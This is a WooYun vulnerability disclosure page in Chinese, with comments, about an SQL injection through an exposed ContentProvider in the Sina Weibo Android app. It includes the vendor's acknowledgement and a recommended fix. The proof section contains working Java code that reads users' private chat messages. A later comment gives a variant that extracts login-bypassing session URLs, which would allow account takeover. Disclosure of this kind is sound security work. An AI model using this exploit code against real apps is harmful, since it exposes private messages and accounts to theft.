当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-016854

漏洞标题:新浪微博Android应用本地信息泄露

相关厂商:新浪

漏洞作者: kelwin

提交时间:2013-01-02 22:24

修复时间:2013-02-16 22:25

公开时间:2013-02-16 22:25

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-02: 细节已通知厂商并且等待厂商处理中
2013-01-05: 厂商已经确认,细节仅向厂商公开
2013-01-15: 细节向核心白帽子及相关领域专家公开
2013-01-25: 细节向普通白帽子公开
2013-02-04: 细节向实习白帽子公开
2013-02-16: 细节向公众公开

简要描述:

任意Android程序不需要任何权限就能获取本机新浪微博应用的所有数据,包括账号、私信聊天记录

详细说明:

组件ContentProvider暴露、另外有SQL注入漏洞。

漏洞证明:

public void getChatMsg() {
String[] projection = {"* from im_message_table--"};

Uri uri = Uri.parse("content://com.sina.weibo.blogProvider/query/im");
Cursor mCursor = getContentResolver().query(uri, projection, null, null, null);
if (null == mCursor) {
Toast.makeText(mContext, "null cursor", Toast.LENGTH_SHORT).show();
} else if (mCursor.getCount() < 1) {
Toast.makeText(mContext, "count less than 1", Toast.LENGTH_SHORT).show();
} else {
//String[] columNames = mCursor.getColumnNames();
String text = "";
while (mCursor.moveToNext()) {
text += mCursor.getString(mCursor.getColumnIndex("content"));
}
mTextView.setText(text);
}
}


写个不用任何权限的app在已经安装新浪微博客户端的Android手机上运行上述代码,就能看到聊天记录。。

修复方案:

检查projection和selection,防止注入,另外为ContentProvider添加权限;或者禁止一些外部访问。

版权声明:转载请注明来源 kelwin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-01-05 10:10

厂商回复:

多谢提供,正在跟进处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-01-03 00:22 | hellok ( 普通白帽子 | Rank:123 漏洞数:10 | 酱油党路过)

    围观KELWIN牛~

  2. 2013-01-03 01:44 | hqdvista ( 普通白帽子 | Rank:154 漏洞数:31 | N/A)

    围观KELWIN牛~

  3. 2013-01-03 01:45 | hqdvista ( 普通白帽子 | Rank:154 漏洞数:31 | N/A)

    目测是sd卡

  4. 2013-01-03 11:09 | 0x00de ( 路人 | Rank:8 漏洞数:6 | 一个二逼,2到家了的小白。)

    @hqdvista 同意

  5. 2013-01-03 12:02 | kelwin ( 路人 | Rank:10 漏洞数:1 | blue-lotus战队成员)

    @hqdvista 不是啊

  6. 2013-01-03 19:37 | Claud ( 普通白帽子 | Rank:161 漏洞数:18 | secmobi.com)

    哈哈,如果是SD卡,这个就不值得发了

  7. 2013-02-17 18:38 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @Claud 你推荐的果然没错...话说ContentProvider好像URL,当年无聊写框架demo时,曾经设想过这么搞,但发现效率成问题...

  8. 2013-03-06 10:15 | SeaRobber ( 路人 | Rank:8 漏洞数:2 | Android安全)

    如果改成下面的表和列,就可以直接获取到控制微博的URL(含有ssid的绕过登陆的url哦!)PC端登陆此url可发送、删除私信,取消及关注微博等等!!String[] projection = {"* from user_info_table_v2--"};... text += mCursor.getString(mCursor.getColumnIndex("usermsgurl"));